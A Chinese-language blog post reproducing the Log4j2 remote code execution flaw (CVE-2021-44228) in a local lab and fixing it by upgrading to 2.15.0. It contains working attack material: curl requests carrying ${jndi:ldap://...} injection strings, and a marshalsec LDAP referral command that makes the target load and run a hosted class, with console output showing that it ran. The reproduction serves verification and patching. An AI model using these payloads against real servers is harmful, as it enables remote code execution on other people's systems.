Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)

2021/12/13 Java

近期,大家都被这个核弹级漏洞搞疯了,各种紧急生产补丁的上,所以咱也来凑凑热闹

问题

这个漏洞到底有多严重?基本上看到远程代码执行,就是非常严重的漏洞,因为这代表攻击者,可以在被攻击者服务器上,执行任何想要的操作。

思考

怎么验证存在及修复了这个漏洞?

复现

基于JNDIExploit,搭建LDAP

创建一个Web工程(模拟被攻击的系统,如果验证已有系统可跳过)

见证奇迹的时刻

  • 请求
    curl -d 'val=${jndi:ldap://127.0.0.1:1389/SkTest211213Before}' -d 'otherKey=otherVal' -X POST http://localhost:8081/demo/cve/y2021/s44228/log
    
  • JNDIExploit控制台输出结果(说明log4j2存在CVE-2021-44228漏洞)
    [+] LDAP Server Start Listening on 1389...
    [+] HTTP Server Start Listening on 8080...
    [+] Received LDAP Query: SkTest211213Before
    [!] Invalid LDAP Query: SkTest211213Before
    [+] Received LDAP Query: SkTest211213Before
    [!] Invalid LDAP Query: SkTest211213Before
    [+] Received LDAP Query: SkTest211213Before
    [!] Invalid LDAP Query: SkTest211213Before
    

解决

参考官方解决意见,升级版本到2.15.0,包括但不限于如下方式:

  • SpringBoot项目
    <properties>
      <java.version>1.8</java.version>
      <log4j2.version>2.15.0</log4j2.version><!-- add this property to fix CVE-2021-44228 -->
    </properties>
    

回顾

原理

  • log4j2在打印${xxx}内容时,会当命令执行

远程代码执行

将漏洞文件放于某Web服务器中

通过marshalsec,搭建LDAP

  • 参考:https://github.com/mbechler/marshalsec
  • 命令(根据需要替换Web服务器url)
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8081/#Log4j2Rce" 1389
    

创建一个Web工程(模拟被攻击的系统,如果验证已有系统可跳过)

见证奇迹的时刻

  • 请求:
    curl -d 'val=${jndi:ldap://127.0.0.1:1389/Log4j2Rce}' -d 'otherKey=otherVal' -X POST http://localhost:8081/demo/cve/y2021/s44228/log
    
  • org.shaneking.demo.cve.y2021.s44228.web控制台输出结果(说明log4j2存在CVE-2021-44228漏洞)
2021-12-15 01:58:09.458  INFO 45940 --- [nio-8081-exec-2] o.s.w.s.DispatcherServlet                : Completed initialization in 16 ms
SkTest211213Before: will print when Log4j2Rce loaded in static.
SkTest211213Before: will print when Log4j2Rce loaded in constructor.

2021-12-15 01:58:09.795  WARN 45940 --- [nio-8081-exec-2] s.d.c.y.s.c.DemoCveY2021S44228Controller : ${jndi:ldap://127.0.0.1:1389/Log4j2Rce}
SkTest211213Before: will print when Log4j2Rce loaded in constructor.

2021-12-15 01:58:10.332  WARN 45940 --- [nio-8081-exec-2] s.d.c.y.s.c.DemoCveY2021S44228Controller : RAW = ${jndi:ldap://127.0.0.1:1389/Log4j2Rce}
SkTest211213Before: will print when Log4j2Rce loaded in constructor.

2021-12-15 01:58:10.351  WARN 45940 --- [nio-8081-exec-2] s.d.c.y.s.c.DemoCveY2021S44228Controller : FMT = ${jndi:ldap://127.0.0.1:1389/Log4j2Rce}

附录

Search

    Donate

    ShaneKing

    Table of Contents